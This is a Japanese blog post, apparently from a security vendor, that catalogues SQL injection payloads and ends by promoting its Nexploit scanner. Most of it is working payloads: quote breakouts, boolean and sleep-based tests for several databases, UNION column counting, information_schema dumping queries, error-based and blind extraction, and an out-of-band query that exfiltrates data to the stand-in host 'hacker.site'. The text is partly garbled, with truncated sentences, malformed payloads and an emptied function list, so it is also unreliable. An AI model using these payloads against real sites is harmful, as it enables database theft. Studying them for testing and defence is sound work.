Sqlインジェクションペイロード:SQLiエクスプロイトがどのように機能するか
SQLインジェクションペイロードとは何ですか?
SQLインジェクションは、悪意のあるSQLインジェクションペイロードを注入することによって、アプリケーションがデータベースに行うクエリを攻撃者が妨害することにより、攻撃者ができないはずのデータを表示できるwebセキュリティの脆弱性を表します。
このブログ記事では、SQLインジェクション攻撃の詳細について説明します–SQLインジェクションとは何か、それらを防ぐ方法
このブログ記事では、WebサイトがSQLiに対して脆弱であるかどうかを確認する方法と、さまざまなタイプのSQLインジェクション脆弱性を悪用するために使用されるさまざまなSQLインジェクションペイロードについて説明します。
この記事の中で:
SQLiの確認: エントリポイント検出
アプリケーションがSQLiに対して脆弱であるかどうかを識別し、後続のペイロードを使用できるようにするには、最初にデータを破 最初のステップは、現在のコンテキストから脱出する方法を見つけることです。
これらの有用な例のいずれかを試してみてください:
'
"
`
')
")
`)
'))
"))
`))
クエリを修正するには、前のクエリが新しいデータを受け入れるようにデータを入力するか、データを入力して最後にコメント記号を追加します。
エラーメッセージが表示されたり、クエリが機能しているかどうかを識別できたりすると、このフェーズは簡単になります。
MySQL
#comment
-- comment
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
論理演算
を使用したSQLiの確認論理演算を実行することで、SQLインジェクションの脆弱性を確認できます。 期待される結果が得られた場合は、SQLiを確認しました。
GETパラメータ?username=John
が?username=John'
または'1'='1
と同じ内容を返す場合、SQLインジェクションの脆弱性が見つかりました。
この概念は数学演算でも機能します:
?id=1
が?id=2-1
と同じものを返す場合、SQLインジェクションの脆弱性が見つかりました。
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
タイミング
を使用したSQLインジェクションの確認SQLiを確認しようとすると、テストしているページに顕著な変更がない場合があります。 これは、ページの読み込み時間に影響を与えるアクションをデータベースに実行させることによって識別できるブラインドSQLを示します。
次のように、実行に時間がかかる操作をSQLクエリに追加します:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND =DBMS_PIPE.RECEIVE_MESSAGE('',)
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND =LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
sleep関数は常に許可されているわけではないので、クエリに数秒かかる複雑な操作を実行させます。
バックエンドの識別
異なるバックエンドには異なる機能があり、それらの機能を実行していることを識別できます。 これらの関数の例は次のとおりです:
,
,
,
MSSQL,
,
,
,
,
オラクル,
,
,
PostgreSQL,
,
,
,
,
,
SQLite,
,
,
MSアクセス,
,
,
,
,
UnionベースのSQLインジェクションペイロード
列数の検出
両方のクエリ(元のクエリと変更したクエリ)は、同じ数の列を返す必要があります。 しかし、最初の要求が返す列の数はどのようにしてわかりますか? 通常、次の2つのメソッドのいずれかを使用して列の数を取得します:Order/Group by
SQLではGROUP BY
とORDER BY
の機能が異なりますが、クエリ内の列数を決定するために使用できます。 誤った応答が得られるまで数値を増分します:
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
UNION SELECTの場合は、クエリが有効になるまでnull値を増やして挿入します:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
null値が使用されるのはなぜですか? クエリの両側の列の型が同じである必要がある場合があります。 Nullはすべての場合に有効です。
データベース名、テーブル、および列名の抽出
次の例では、すべてのデータベースの名前、データベースからのテーブル名、およびテーブルの列名を取得します:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=
このデータを検出するために使用される方法は、データベース自体とは異なりますが、常に同じ方法論です。
エラーベースのSQLインジェクションペイロード
クエリ出力は表示されませんが、エラーメッセージが表示される場合は、これらのエラーメッセージを機能させ
Unionベースの搾取の例と同様に、データベースをダンプできます:
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLインジェクションペイロード
Blind SQLインジェクションの場合、クエリの結果やエラーは表示されませんが、ページ上のさまざまなコンテンツに基づい
その動作を悪用して、データベースをcharごとにダンプすることができます:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Error Blind SQL Injection Payloads
名前が示すように、これはBlind SQL injectionと非常によく似ていますが、今回はtrueまたはfalseの応答を区別する必要はありません。 文字を正しく推測するたびにSQLエラーを強制することで、SQLクエリにエラーがあるかどうかを確認します:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
タイムベースのSQLインジェクションペイロード
この手法は、主に、dnsルックアップ、条件付きエラー、または時間遅延をトリガーするために第二のクエリを使
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
スタックされたクエリ
スタックされたクエリを使用して、複数のクエリを連続して実行できます。 後続のクエリが実行されている間、結果はアプリケーションに返されません。 この手法は、DNSルックアップ、条件付きエラー、または時間遅延をトリガーするために第二のクエリを使用するブラインド脆弱性の場合に使用できます。
OracleとMySQLはスタッククエリをサポートしていませんが、MicrosoftとPostgreSQLはそれらをサポートしています: QUERY-1-HERE; QUERY-2-HERE
Out of band SQLi Payloads
上記の悪用方法のいずれもうまくいかなかった場合は、データベースを制御する外部ホストにデータをexfiltrateしようとすることができます。 たとえば、DNSクエリを使用できます:
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
Nexploit
の助けを借りてSQLインジェクションを検出NeuraLegionのNexploitは、SQLインジェクションを含む何百もの脆弱性の検出と修復を自動化します。
開発プロセスの早い段階でDASTスキャンを統合することで、開発者とアプリケーションセキュリティ専門家は脆弱性を早期に検出し、本番環境に出
Nexploitを使用すると、スキャンは数分で行われ、結果には偽陽性がゼロになります。 これにより、開発者はソリューションを採用し、開発ライフサイクル全体で使用することができます。
SQLインジェクションの脆弱性を防ぐために、任意のwebアプリやAPIをスキャン–NeuraLegion Nexploit無料で試してみてください。